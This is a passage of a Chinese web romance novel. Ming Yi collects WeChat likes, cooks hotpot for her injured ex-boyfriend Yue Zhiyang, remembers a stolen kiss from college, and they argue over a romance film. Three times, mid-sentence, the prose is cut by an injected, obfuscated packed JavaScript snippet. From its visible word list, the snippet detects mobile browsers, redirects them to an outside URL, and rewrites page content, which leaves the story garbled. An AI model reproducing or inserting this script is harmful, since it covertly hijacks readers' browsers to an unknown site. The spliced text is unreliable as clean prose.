又关了电脑,趴在床上放空思绪。 钟以晴的消息刚好进来:【快去帮我朋友圈点赞!】 明翊慢吞吞拿过手机,顺着钟以晴的头像点进去,看到了她最新一条朋友圈。 是条火锅店的集赞动态。 刚点完赞,那边又接着发来一串宣传文案。 明翊:【?】 她满脸困惑:【你这是要改行开火锅店了?宣传文案都写好了/疑惑】 钟以晴:【哪儿能啊!】 钟以晴:【我那糟糕的厨艺你又不是不知道,敢吃饭的客人奖励医院五日卧床游】 明翊被她逗笑。 钟以晴:【这是银泰城那边新开的店】 钟以晴:【新店开业有集赞活动,满三十赞可以兑换减十五的代金券】 钟以晴:【我们明天就去吃这家,你也发!】 二人昨晚约好了要出门。 明翊想了想:【你一个人集不就够了?我们是一起的】 钟以晴:【哎呀,他这个不限人头,多多益善,我让李澄也发了,记得给他点赞啊】 明翊顿了下。 钟以晴又催促:【快去,省下的钱姐姐请你吃甜品!】 平心而论,明翊其实不太想发。 这世上的人按朋友圈活跃程度可以简单分为两类,爱发动态和不爱发动态。 她是其中比较特别的一类—— 特别不爱发动态。 这种公众社交平台往往没什么隐私性可言,朋友圈倒是相对好些,还能筛选一下社交人群。但因为性格原因,明翊不是很爱把自己的生活状态摆到大庭广众之下供人窥探,总疑心这样不安全。 可人与人之间必须要有交流互动,这也是社交的一种。 所以相应的,因为不热衷于社交,尽管脸长得还算不错,明翊人缘其实不算太好。 这种拉人集赞的活动,别说三十个,就算十三个她都很难凑齐。 拗不过闺蜜,明翊只好复制了钟以晴的文案,又点进动态编辑器。 虽然不抱什么期待,但毕竟是‘有求于人’,斟酌一番明翊还是在前头加了句近似撒娇卖萌的恳求: 【麻烦大家啦~/拜托/感谢】 发完这条,她又点进自己近半年没有动静的朋友圈,顺势往下拉了拉。 上一条动态直接映入眼帘—— 没有文案,只一张简单的图片。 隐约露出半张原木色的桌面,桌面右侧端正摆着两罐可乐,距离很近。 发送时间在春夏之交,还没和越之扬分手的时候。 底下没多少人评论,只有零星几个赞,像是对这条语焉不详的动态感到莫名。 唯有钟以晴兴致高昂地点评:【呦,有情况了这是?】 明翊也不太清楚这到底算不算是将自己的感情状况公之于众。 太过隐晦,隐晦到几乎没人能看出来。但很多事,说得太明白反而没了那层朦胧的心动意味。 这张照片就像是她不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765367|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意间藏起来的小心思,不敢光明正大袒露。 这么些年,明翊也总无时无刻不在担心着,万一把幸福暴晒在日光下,会不会一不小心被晒化? 那么幸福也会顺势溜走。 因为总担心着失去,所以不敢拥有。 出于这层原因,她当初才会提议那个鬼扯的地下恋。 到如今明翊其实不太能回想起当时的心情,自己究竟是在怎样的驱使下拍了这张照片,又屏蔽了朋友圈近大半的人,才敢将它公布。 这些屏蔽的人里,自然也包括越之扬。 或许就是因为这点,幸福也总有期限,没多久,他们就因为吵架而分手。 …… 退出微信的时候,明翊看到自己那条集赞动态被不少人点赞,或许是因为态度诚恳又加了还算可爱的表情包,效果竟然不错。 总共有二十八个。 正讶异着,最新一条消息提示弹出来。是Eden点赞了她的朋友圈,还在底下评论:【本人自愿助力每一个梦想!!】 明翊态度很好地道谢。 快到晚饭时间,因为连续几天都吃外卖,感觉自己快被廉价的地沟油腌入味,所以明翊打算今晚下楼去打包点吃的,就当是犒劳辛苦工作的自己。 换好衣服,又从衣帽架上抽过围巾。 刚拉开门,电梯那边就传来‘叮’的一声。 明翊抬眼,正好看到轿厢门打开,里面走出一人。 越之扬照旧是昨晚那副打扮,似乎是没回学校,左手提着个很大的购物袋,正朝这边走来。 她短暂怔了下,很快冲他打了个招呼,对面却只是敷衍嗯了声。 “……” 看来是还没消气。 明翊也果断收起自己的好意,打算越过他下楼。 走出去一段,又记起昨晚的事。纠结三秒,她还是忍不住回头问了句:“对了,你今天去医院看过了吗?” 越之扬语气冷淡:“去过了。” “医生怎么说?” “还能怎么说?当然是死不了。” “……” 明翊表情微妙地扫过去一眼。 暗想,做人能装成这样也真是不一般。 这程度大概是连外星人攻打地球时,都会出于物种多样性的考虑单独为他设置一个类目以供纪念吧。 刚打算默默退场,视线又忍不住下落,准确无误定在越之扬手边那个大号购物袋,明翊不自觉皱了下眉。 里头装得满满当当,看上去是刚从超市回来。 “那医生就没提醒过你,这段时间不要提重物?”她下意识开口。 “提了。”越之扬侧头看来,“但医生说,我就非得听么?” 明翊快被他这一席逆天言论惊呆了。 说罢,对面又冲她扬了扬缠着绷带的右手:“但我觉得你可能也需要去看看医生,毕竟我现在用的,是左手。” 明翊:“……” 还没等开口,越之扬目光又在她身上落定,语气吊儿郎当:“怎么,想对我负责到已经左右不分了?” 明翊这下是彻底傻了眼。 倒没想过他这心里素质强得可怕,到这地步,居然还能这么毫无芥蒂地把这话说出口。 一时间,觉得自己还是经验少了。 被这么刺激,她也不打算再这么窝囊下去。 “行啊。”顺着对面的视线看回去,明翊淡淡扯一下唇,决定迎难而上,“那你今天,想要我怎么负责?” 越之扬:“……” 越之扬:“?” 24. 24 因为是统一构造,越之扬家里也没有厨房,仅有一个简易的水槽和流理台,呈L型结构,跟冰箱一起安置在门口。 空间很是逼仄。 明翊提着购物袋进门,将东西放到一侧的岛台。 刚刚那瞬间她真是勇得可以,倒真像是混迹各种娱乐场所的老油条,以至于对面表情都有微妙的裂开。 两人面面相觑,好不尴尬。 越之扬率先反应过来,他微抬下巴,很快将手边的东西直直递过来:“既然你这么想负责,今天就暂且替我把东西拎回家——”语气轻佻至极。 “至于别的,之后看你表现。” 明翊:“……” 靠。 自己还是太要脸了。 她站在玄关往里扫了眼,今天也是没见到猫猫的一天。 “你家猫呢?” “在睡觉吧。” 这已经不知是她第几次提起猫,暗示意味未免太明显,越之扬侧头瞥去:“想摸?” 明翊愣了下,忙摇头:“…也没有。” 购物袋装得太满,二人说话的瞬间,最上层的冷冻鸡胸肉和三四个玉米棒忽然往下滑。明翊眼疾手快地捧住:“你这是打算做猫饭吗?” 越之扬嘴角微微抽搐:“你见过哪家猫这么凶猛,一顿能吃下半头大象?” 明翊顿了下,视线又向内扫。 上层的轻食被移开,剩下的都是些虾滑、毛肚以及冷冻丸子之类的荤菜,分量很大。 “所以你这是打算在家里聚餐?” “怎么,我一个人就吃不了饭了?” “……” 明翊暗叹口气,觉得他这态度实在是差得离谱,但也不是很想在新年第一天就跟人吵架,立刻将东西塞回去。 “没,就你买的好像是有点多,一个人应该是吃不完……” 刚打算提醒他吃不完记得及时放冰箱,对面忽地撩起眼皮。越之扬语调闲散:“这演都不演了是吧?” 明翊:“?” 他轻快挑一下眉。 “就这么想跟我一起吃饭?” “……” * 明翊有时候是真觉得他欠的可以。 但在对面提出帮他处理食材可以获得今日撸猫权的时候,还是不由自主应下。 其实也就一点点想撸猫。 更多原因是越之扬那手实在不方便,看他用左手从购物袋里往外拿东西的艰难模样,明翊觉得这人如今还是直接上嘴会比较快。 二人短暂达成一致。 但明翊很快就发现这提议宛如自行跳进火坑。 因为只是临时暂住,越之扬家里几乎没有任何可以开火的电器,她只好将自家电煮锅搬了过去。他的手又不是很方便沾水,所以全程都是明翊一人在忙活。 忙就算了,这人还在一旁狗叫。 “洗干净点儿。” “南瓜要记得削皮。” “香菜不要和别的一起洗,会串味儿,我不喜欢那味儿。” “啊,我不吃蒜,你别剥那个了。” 像是在故意挑事。 明翊怒了,重重把菜篮搁到流理台边缘,砰的一声巨响。 到底什么毛病。 这不吃那不吃,吃什么火锅,喝露水得了! “要不你来?” “……” 被这么怼,越之扬总算肯暂时消停,默默走到沙发旁撸猫。 那猫似乎也不是很爱搭理他,尾巴一翘直接从手底下溜走了,又颠颠儿蹭到明翊腿边。 从在LiveHouse那天初见,这猫就不知为何一直很黏她。 虽然看越之扬吃瘪还挺有意思,猫猫也很可爱,但有个毛绒团子在脚边磨蹭,行动起来很是不便,等到明翊收拾好一切端着食材坐回沙发,感觉自己比上了一天班还要累。 准备开火,猫猫被越之扬毫不留情关进卧室。 明翊走到流理台边正打算调料碗,在橱柜里翻过一遍:“你家碗放哪儿了?” “我家没碗啊。” 静默三秒,她动作迟缓地转过身:“…你家没碗?” 这人在讲什么惊天大笑话。 越之扬答得很是坦然:“对啊,你又不让我住这儿,那我买碗干什么?” 明翊沉默了。 在她这眼神里,越之扬很快意会了什么:“你家不会也没碗吧?” 她缓慢点头:“倒是有,但只有一个。” 越之扬也沉默了,“半年不见,你生活困苦到这地步了,买碗都只买一个?” “我就一个人住,”明翊平静反驳,“多买碗是打算在家里上贡么?” 她淡淡扫过去一眼:“而且家里连一只碗都找不出来的人,不要在这里叫。” 越之扬:“……” 对于常年点外卖的人来说,能从家里找出只碗已经算是很值得表扬的事,明翊没那些奇怪的仪式感,就算下厨也是图方便直接对着锅吃。 仅有的一个碗,还是上次钟以晴来她家玩实在看不过眼买了一对回来,但前不久被明翊不小心打碎了一只。 越之扬悠悠瞥她一眼,语气欠欠地找茬:“你不是还在包养男大学生?这点家当怕是不够,没人会乐意跟这么穷的金主。” “……”明翊忍无可忍,“你能别提这茬了嘛?” 吃顿饭还要朝她借家电的人! 有什么资格!!嘲讽她!!! 回家取了趟碗筷,想着对方怎么都算是伤员,明翊正打算将碗让给越之扬,自己用盘子就行,却见流理台边放着个小小的猫碗。 似乎是丧心病狂地打算抢占猫猫的家当。 她当即傻眼:“你让我用这个?” “我用啊。”越之扬心情还算不错,“新买的,应该挺干净,洗一下也勉强能用。” 明翊诧异看他一眼。 但对方既然都这么说了,明翊也只好帮他把东西洗了洗,两人总算是坐到了餐桌边。 越之扬正懒懒散散陷进沙发里搅拌酱料,望着那张棱角分明的脸,明翊的视线又忍不住缓慢下落到他掌心捧着的碗。 澄黄、猫耳、碗圈还印着个小猫爪印。 她唇角快压不住了。 越之扬碰巧抬头:“看什么?” “没什么,”明翊憋着笑,“我发现你现在还挺有童心的。” 越之扬:“……” 对方没接话,似是懒得反驳,又推过来罐可乐。 望着那眼熟的铝罐,明翊有瞬间失神。 越之扬这人滴酒不沾,但学生聚餐什么的免不了要喝点东西助兴,所以在众人举着玻璃杯把酒言欢时,他也只会坐在角落默默抱罐冷饮。 有时是雪碧,但更多时候,是可乐。 这人似乎很钟爱孙卓然口中所谓的肥宅快乐水。 明翊还记得某次学生会团建,她们一行人不慎和越之扬撞见。 幽长而曲折的走廊过道,两侧包房时不时有音调不稳的唱歌声传出,越之扬一行大概是来这里排练,孙卓然很没眼色地朝他挤眉弄眼。 这人却不为所动,幽蓝的壁灯在他高挺的鼻梁裁出道生人勿进的阴影。 越之扬没分给她丝毫多余的眼神,明翊也默默收回眼,装不熟这事,这人似乎是比她要更有天分。 不知怎得就有些心烦意乱,在被包房内的鬼哭狼嚎吵得快受不了时,越之扬又发来信息:【出来】 ……搁这命令谁呢。 明翊很有些无语,但还是穿上外套往外走,刚绕过走廊拐角,手腕忽地被人拽住,就着这股力道,她直接被拉拽着跌跌撞撞踏进了陌生的包房。 一片混乱里,身后的门似乎是被人关上了。 明翊差点吓得叫出声。 下一刻,又在黑暗里无声对上越之扬视线。 她是真有点生气,很快抬腿踢了他一下,越之扬也没躲,懒洋洋地勾着唇笑,又俯身压下来。 几乎是鼻尖蹭着鼻尖的距离。 唇边吐息温热,明翊差点儿以为他是打算在这地方亲她。 但越之扬只是皱着眉嗅了嗅,声音放得很轻:“刚喝酒了?” 明翊很少喝酒,私下里基本不碰,但这种聚会,被人劝酒是难免的事。 她点点头,又耐心解释:“就一杯。” 越之扬也没再说话,始终就着这个姿势垂眼看她,像个雕塑般一动不动。 明翊没懂这是个什么反应,就在这时,手机忽然响了两声。 这姿势完全不方便掏手机,明翊很快把他往外推了推。 今天穿的是件前胸带口袋的衬衫,因为一直坐着,牛仔裤的布料又硬挺,但凡兜里装点儿东西就硌得不行,所以明翊直接将手机塞进了上衣口袋。 是副部长的来电,大概是见她不在特意打电话过来询问。 那段时间二人因为工作事宜走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765368|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很近,其实完全没什么,但可能因为那备注一看就是个男的,越之扬又向来没什么安全感。 所以在准备接通的瞬间,那个中止的吻忽然就落了下来。 与此同时,明翊掌心的手机也被人无意间夺走。 越之扬扣着她的肩往后推,踉跄几步,明翊的背直接抵上了玻璃门。 今天内搭有些短,不动的话还好,被人这么一推,小半截腰贴上冰凉的门板,明翊下意识倒抽口气,又挣扎着去推他。 越之扬没松手,只微微拉开些距离,微眯着眼垂眸:“不喜欢?还是说…讨厌我?” 明翊眉眼怔忪,这两个说法,似乎完全没区别啊。 对上对面眼神,她抿了下唇,很诚实地给出答案:“这门…好像有点太凉了。” 空气有短暂的沉寂,越之扬的眉眼在这瞬间倏然变得舒展而夺目,他右手还握着她手机,电话响个不停,却也没人再管。 “娇气。” 这话轻飘飘地往下落,明翊不自觉有点脸热。 还没来得及反应,肩膀又被人扣着转了方向,越之扬自己靠上那玻璃门,将她使劲往怀里按。 许是觉得她难得说话这么中听,该给点奖励。 手机又被这人一点一点塞回胸前的口袋,而越之扬空出的右手,贴上她平坦的腰线,也没动作,似乎就真的只是简单帮她取暖。 手机在口袋响了很久,因为没设铃声,始终只有轻微振动。 然而这点细微的颤动,在此刻,像是莫名与她心跳的频率重合。 明翊酒量不算差,但可能是这场地吵得她头脑发晕,也就迷迷糊糊地任他亲。 越之扬应该是刚喝过可乐,唇舌间还带着淡淡的甜意,脚边的地毯也刚打扫完毕,踩上去有绵软厚实的触感,带着令人失陷的错觉。 明翊忽然就觉得,这个人很好闻。 似乎也,挺好亲。 越之扬骨子里是很强势的性格,这分强势几乎是无所不在地将明翊包裹。 他将她完全困进怀里,单手扣住她的肩,带着不容人抵抗的力道。 明翊有时会有点烦,有时却也挺受用。 所以在越之扬主动退开的时刻,她还有些迷糊,下意识想伸手去抱他的腰。 结果这人冰冰凉凉的手贴上她仍带些潮热的脸颊,中指的戒指让人不自觉一激灵:“干嘛呢?” 他似笑非笑地拖着腔调嘲弄。 明翊是真不想理他了,心眼简直坏得可以。 她站在原地平复呼吸,越之扬又垂眼去兜里翻纸巾。 或许是初吻给他留下了些不太好的体验,所以之后每次接吻,越之扬都会拿纸巾将她唇上的痕迹清理干净。 有时是湿巾,有时是带着淡香的棉柔纸,以至于明翊几乎都快能根据这个人今天带没带纸,来判断越之扬到底有没有这层意思。 等他将那张废纸塞回口袋,明翊就准备离开,活像个用完就扔的渣男。 越之扬诧异看她一眼:“你还回去?” “你叫我出来,难道不就是为这?”明翊也有些困惑。 那亲都亲完了。 还赖在这干什么? 越之扬被这话噎住,顿了片刻才去拉她的手臂,语气很平:“陪我去趟药店。” 明翊微微睁大眼。 视线在他周身扫过一圈,完全没看出任何需要吃药的迹象,但还是好心问了句:“你怎么了,身体不舒服吗?” 越之扬这才看回她,语气淡淡地啊一声:“忘了跟你说,我酒精过敏。” 明翊:“?” 她真不知该说些什么好了。 “那你刚才——” 话至一半又顿住,明翊是真不好意思拿这事往外说。越之扬却又懒散挑眉,像是在故意诱导:“刚才怎么?” 明翊没什么表情地扯了下唇。 整理好情绪,她平静开口:“以身试毒,难道就没觉得有什么地方不对么?” 越之扬刚才没觉得不对,但听到这话是真觉得不对了,人至少不该不解风情成这样。 默了一瞬,他微俯下身对上她视线,又缓缓勾起唇,尝试给自己的人机女友大脑里植入恋爱插件:“既然是以身试毒——” 这瞬间,越之扬微翘的唇无声降落在视野。 明翊突然觉得,自己的心跳似是如他所愿地,忽然就漏了两拍。 “那不试一下,怎么知道?” 25. 25 分开这么久,似乎生活里最大的改变,就是周遭很少再出现这种罐装可乐。 明翊不是爱喝碳酸饮料的人,总觉得这东西不健康,又伤牙。 步入职场后这玩意儿更是少见,周围的人上下班几乎人手一杯冰美式,就算不爱喝咖啡,也会换成提神的茶包。 这种灌满气泡的甜水,似乎是独属于校园时期的产物,一旦步入社会就会被无情抛弃,再不受任何人青睐。 一下从她生命里消失得干干净净,再不会悄无声息地出现在桌面。 她顿了下,缓缓垂眼,道谢过后就什么也没说。 菜品已经下好,剩下的就是等水开。 这时明翊又忽然记起,今天似乎是元旦,新一年的开始。按理说,两人似乎是该礼貌地互相道一句新年快乐,但越之扬那边没主动提,她也不好意思开这口。 到现在,明翊都没太搞明白越之扬昨晚为什么会出现在楼下,如果是来喂猫,直接进屋就行; 真要为了那快递,似乎也不必刻意下楼。 那快递是陆一燃寄来的。 这人是乐队主唱。U盘大概是被他给捡到了,又因为上头的图案误以为是越之扬的东西。可既然都寄到这边,明翊觉得她直接自取就行,也不用麻烦越之扬再多跑。 想到这,她又忍不住困惑。 事到如今明翊还是不愿把事情往昨晚那猜测上扯,这样会显得她当初挑男人的眼光好像很烂,而越之扬对她的态度似乎也没那么好,跟之前天差地别。 或许是久不相处,如今这人许多行为的动机,她也是真摸不透。 因为没人出声,空间里安静至极。 望着浮满蔬菜和肉丸的红锅,明翊有些不太适应这氛围,她转而提议:“有点无聊,要不我们看个电影?” 越之扬没什么意见。 选的是新片速递里的推荐影片,明翊点进去后才发觉是个爱情片,等到反应过来已然是来不及,退出的话又会显得她做贼心虚,也只好硬着头皮往下看。 明翊不是爱看电影的人,只是想借声音缓解些尴尬,避免两人无所事事必须尬聊一番的窘境。 然而她很快发现,这想法错得离谱了。 此刻屏幕里,正播放着不太妙的亲密戏。 她飞快垂下眼,面无表情把进度条往后拖,越之扬应该是在看,目睹这动静,更加不妙地笑了一声。 “……” 明翊不知道该说什么了。 她真没这意思啊,但对面好像是又误会了。 好在开头的亲密戏跳过后,剧情火速步入正轨,两人终于是如她所愿地吵起来了。 “你根本一点都不理解我!” “你不说我怎么理解!?” “真正的理解不需要说!” “你说出来我不就理解了嘛!” …… 这可能就是AI无法替代人类的原因吧。 明翊笑点挺高,很少有能把她逗笑的场面,但听着这段明显无厘头的对话,影片里的两人又像是隔着大气层在沟通。 听到最后那句‘你简直是不可理喻’,她还是忍不住笑了下。 越之扬幽幽望她一眼:“很好笑?” 不知为何,这种烂片他倒是看得挺认真,此刻像是被人冒犯到一般出声质问。 明翊侧过脸:“挺好笑的啊,你不觉得他俩吵架,有点儿鸡同鸭讲的感觉。” “人小情侣吵架,”越之扬大概觉得她没心没肺,“你倒是乐得开心,缺德。” 明翊噎了下。 因为尴尬她看得挺认真,连片头也没略过,因而能判断出来目前这演员并不是男主。越之扬方才垂头在看手机,大概是没注意。 想着帮他梳理下剧情,又或许是对刚才那句不善言辞的回击,明翊握着遥控器平淡反驳。 “他们不是一对啊,应该很快就分手了,男主角马上要登场了,你别光带眼睛。”也长点脑子吧。 明明已经骂得很隐晦,却不知是哪里触了霉头,越之扬很快撂下手机:“怎么就不是一对了,那他俩儿刚才抱一块是在干嘛?取暖?” “……” 这种戏码倒是看得认真。 锅还没开,对面主动询问,明翊也有心解释:“刚你没看片头字幕,男主演不是目前这位,咖位太不匹配了。” “咖位不匹配就不能当男主了,什么道理?而且我说的是他俩现在是一对,没说是不是男主。”越之扬几乎是立刻反驳。 明翊想了想,觉得他说的似乎是也有些道理。 但也不太想承认自己错了。 “照常理来说他俩现在确实是情侣,但从女主的视角分析,这肯定不是她最后命定的‘人生主角’,迟早要分手为正主腾地方,所以我才说他俩在这电影里不是——” “什么话?”越之扬音调骤然拔高几分,“还正主,那他现在不是女主男朋友,是什么?” “人生的错误?” “……” 错误。 明翊发誓自己没说这两个字。 但越之扬这反应简直激烈得离谱,单纯讨论剧情似乎没必要这样,她心里隐约冒出个不太好的猜测:“你是这演员的粉丝?” 没必要连这么一点善意的解读都听不得吧。 沉默片刻,越之扬冷冷嗤一声,“当然不是。” 明翊哦一声,默默收回眼,也不再多话。 恰好锅开了,她也就不再执着于剧情,开始从汤锅里捞菜。 越之扬却又倏地啧一声,将碗直接掷到桌面,眉头拧得很紧:“你跟我说说你到底是怎么想的?” “啊?” 明翊茫然仰起脸,反应几秒才明白越之扬这大概是想继续和她探讨剧情。 但她忙活了近一小时,中午本来就没怎么吃,现如今更是饿得不行,也真没这心思,联想起这人方才说过的‘错误’,很快决定顺他的意早点结束话题放她吃饭:“不是你自己说的么,告别错的,才能迎来对的……?” 越之扬:“……” 随着这话落地,场面倏地静滞半刻。 在这没来由的沉寂里,越之扬又突兀笑了两声。 笑声冷冷的。 明翊没懂他在笑什么,只下意识觉得不妙:“你真不是粉丝啊?” 越之扬没吭声。 这态度立马坐实了什么。 明翊觉得自己当着人小粉丝的面当众诋毁他偶像这行为也是够恶劣,但谁让越之扬先前没讲明白,如今也只能尽力补救:“我不是针对你偶像,他演技没什么问题,形象也挺好,就是这角色设定差了点儿……” 越之扬立刻抬眼。 “哪儿差了,你讲明白点儿。” 能不能先吃饭啊? 明翊默默咽下这话,决定找个人为他这莫名其妙的火气背锅,尝试将仇恨值拉到编剧身上:“就有点幼稚啊,大概因为是年下的设定吧。” 越之扬眉心跳了跳。 “不光幼稚,还有点儿情绪化了。你没发现你偶像每次登场都是在和女主吵架吗?一般来说观众对男主的性格包容度有限,他这种——” 在对面微冷的眼神里,明翊识趣换了个相对委婉的词汇:“成长型角色,不太适合出现在言情题材,因为篇幅短小,也没空给他成长。你多看两眼应该就能看出来,这角色初始设定的作用就是对照组,明显是拿来给女主的爱情之路祭天的。” “所以我刚才才说他们不是一对,你偶像应该只是个……” 本打算随便聊两句就收手,但似乎是怎么也绕不开这茬,又恰逢专业相关,顿半秒,明翊几乎是不假思索地脱口而出。 “炮灰。” “……” 越之扬没应声,呼吸却陡然变重。 明翊觉得这气氛明显不对,又近似安慰地快速补上句:“不过这都是编剧的错,你偶像演得挺好的,之后应该也能拿到好本子,所以你也别太伤心了。” 不想把气氛搞太僵。 “没必要的事,对吧,”她又眨眨眼,试图获得对面认同,“你觉得呢?” 所以大哥,我们现在能吃饭了吗? 越之扬投来的目光隐约透出些火气。 “是没必要,还我觉得……”他冷冷嗤一声,“呵,我觉得未来至少半个月我都不是很想再开电视了。” “……” 合着这还是个挑剔的事业粉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765369|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明翊神情顿住,隐约感觉自己刚才的安慰不是很到位,纠结一番又好心劝解:“你不要太生气了,现在市面上到处是这种烂片,你偶像估计也是没得挑,有电影演就不错了。” “而且只是找个电影放松一下,虽然你爱得很认真,但也没必要为这事生气。” 越之扬没觉得自己今天有哪里放松。 他面无表情收回眼,强行止住太阳穴的狂跳,咬牙切齿道:“别再说了,吃你的饭去吧。” 明翊松口气,目光很快垂落。 呼,终于能吃上饭了。 * 一顿饭就在这样沉默的气氛里结束。 明翊吃东西慢,从小养成的习惯,长大也懒得再改。她这边刚吃到半饱,越之扬就已经放下了那猫碗,开始陷进沙发里玩手机。 电影恰好播到末尾,不出所料两人果然是没走到一起,先前那男演员只有五六分钟戏份。 明翊咽下嘴里的食物,快速瞟过去一眼。 二人中间隔着口热气腾腾的大锅,眼前烟雾缭绕,像是隔着道朦胧云团,越之扬的眉眼也愈发不清晰。 明翊不知道他什么时候追起星来了。 想起刚才那男演员的长相,心里还觉得纳闷。 挺怪,偶像反倒是还没小粉丝长得好看。 正暗自出神,身侧忽地发出道清脆咔哒声,打破了原本和缓又宁静的氛围。 是越之扬将手机扔到桌面,外壳磕碰到茶几边缘时发出的声响。 这瞬间,隔着缭绕的雾气,越之扬似是看了她一眼,眼神有些冷淡。 明翊顿了顿,又回想起方才二人的对话。 总感觉似乎是有哪里不太对。 这人该不会是刷豆瓣差评被气到了吧? 照旧是明翊洗的碗,越之扬应该是不耐烦了想要赶人,让她直接把碗放下。但明翊还不至于劳驾一个伤员,而且又蹭了人家火锅。 将碗筷放进水槽,她刚拧开水龙头,手机又叮咚一声响。 钟以晴:【对了宝,你那个集赞集的怎么样了,集齐的话把截图发我,我好去找商家兑代金券,明天我们直接过去吃】 明翊点进朋友圈看了眼,数量始终停留在二十九。 就差一个。 她转身看向正在收拾茶几的越之扬,这人气势照旧很冷,似乎是还没从自家偶像接了这种烂片的惨烈打击中回过神。 明翊也就默默打消找他帮忙的念头。 如果差得远,可能会想着直接放弃,但只差一个。 这跟拼多多帮砍只差最后一刀有什么区别? 将碗筷泡进水池,明翊又去翻自己的好友列表,正好看到孙卓然发了条动态,还是求转发的乐队活动宣传海报,她火速帮人转发。 想着礼尚往来,又顺着头像点进私人聊天窗。 因为右手已经沾水,不想再打字,越之扬那头似是也没在意这边动静。明翊侧过身,借水声的遮掩对着听筒语音转文字。 “对了孙卓然,我帮你转发了。” “所以能麻烦你帮我最新一条朋友圈点个赞么……” 恳求的话刚说至一半,身侧光影忽地暗下去,四周有熟悉的尤加利叶香气无声无息笼罩而来。 一侧头,明翊正对上越之扬冷淡的侧脸。 这人也不知什么时候凑了过来,此刻半弯着腰,右臂越过她直直撑在台面,明显质问的姿态。 二人距离靠得很近,四周铺天盖地都是他的气息。 明翊还没反应过来,越之扬的视线就缓慢垂落直直定在屏幕,借着身高优势将对话框里的内容看了个彻底。 明翊的唇动了动,刚打算问他是不是还有东西要洗。 对方目光却又转瞬落到她脸上,语气不咸不淡。 “你在干嘛?” 明翊仍懵懂着:“…好友圈集赞啊。” 没道理当个洗碗工还得抛弃私人生活吧,新时代就算是周扒皮也不能这么监工。 停顿半秒,越之扬淡淡啊了声,似是后知后觉意识到什么。 “也对,好友圈集赞——” 他收回眼,煞有介事地点一下头,“我又不在你的好友里,不找我帮忙也正常。” 26. 26 被他这话给噎了下,明翊一时竟有些无言。 还没等开口,越之扬又问:“这次是故意装不懂还是又没听明白?” 明翊:“……” 她在他心里的形象都低智成这样了么? 明翊暗想,刚准备接话,越之扬却又轻轻啧一声,似是半点儿再等的耐心也没有:“我人都在这儿了,用得着你不远万里去找孙卓然求助?” “孙卓然就算了,Eden那小子怎么回事?” 他这问题跟连珠炮似的,一个接一个。 其实不用越之扬提,明翊也明白这人肯定会对她这舍近求远的行为感到不满。按越之扬这骄傲到有些狂妄的性格,想必会觉得自己也没询问过他的意见就这么直接把人给忽略,完全不尊重他! 所以明翊刚刚才刻意背过身,只是没想到这人跟个360度无死角的监控似的,这么爱抓包。 刚打算解释,对面又淡淡瞥她一眼。 “别告诉我,你的正确选项是这种脑子没发育完全的类型。” “……” 啊? 明翊这下是真没听懂。 集个赞怎么就扯上选项了,她发的又不是调查问卷…… 但想着自己刚才诋毁过人家偶像,如今也没多少底气,她也只好眨眨眼,目光定在越之扬行动不便的右手,想着赶快把这茬带过。 “你这不是,不太方便?” 视野里挨得极近的唇角漫不经心扯了下,越之扬很是干脆利落地回击:“我是负伤,又不是残废。” “点赞是需要拼尽全身力气才能点的?” 被他怼得没办法,明翊略有些心塞。 但又觉得自己不说话貌似是默认接受了对面嘲讽,稍稍思考过后,她语气温吞。 “咱俩又不是特别熟,这种小事就不用麻烦到你头上了。” 越之扬:“……” 倒也不怪明翊直言不讳。 她心里一直是这么个想法,刚才仅仅只是看了一眼就果断打消念头也是为这原因。 私底下她好心帮帮越之扬倒没什么,毕竟他右手现在是真不方便活动,一半的原因还在自己。 可对于接受别人的好意,明翊却总有些忐忑。 她可以向旁人无所顾忌地释放自己的善意,但如果有人给予她同样的关心,或许是防备心太重,必须得好好权衡一番才敢决定到底要不要接受。 因为不太确定这份好意里有没有包含额外的陷阱,尤其是在昨天那事过后。 可这话说完,场面似是僵持住。 丝丝缕缕的尴尬顷刻间缠绕上来,占据这方小小的空间。 明翊眉心不自觉一跳,很快意识到有些话在心里想想也就算了。 一旦说出来,是真有些伤人。 她偷偷瞥了眼越之扬。 余光里,他的表情也不是很好,脸黑得可以媲美刚出锅的牛肉丸子。 “对不起啊我不是这——” 正打算道歉,话至一半又被人给打断:“不熟?不熟你刚才吃得倒是挺开心,不熟你带着锅上我家来吃饭?” “所以在你眼里,我们现在算什么关系?” 越之扬沉着张脸,稍显冷淡的目光直视而来,不容她再闪躲。 一时间,明翊无措至极。 在这人脱口而出第一句的时候她就开始提心吊胆,生怕越之扬语出惊人往外冒些有的没的。 好在他也没扯那些乱七八糟的,话题始终围绕今晚发生的一切进行点评。 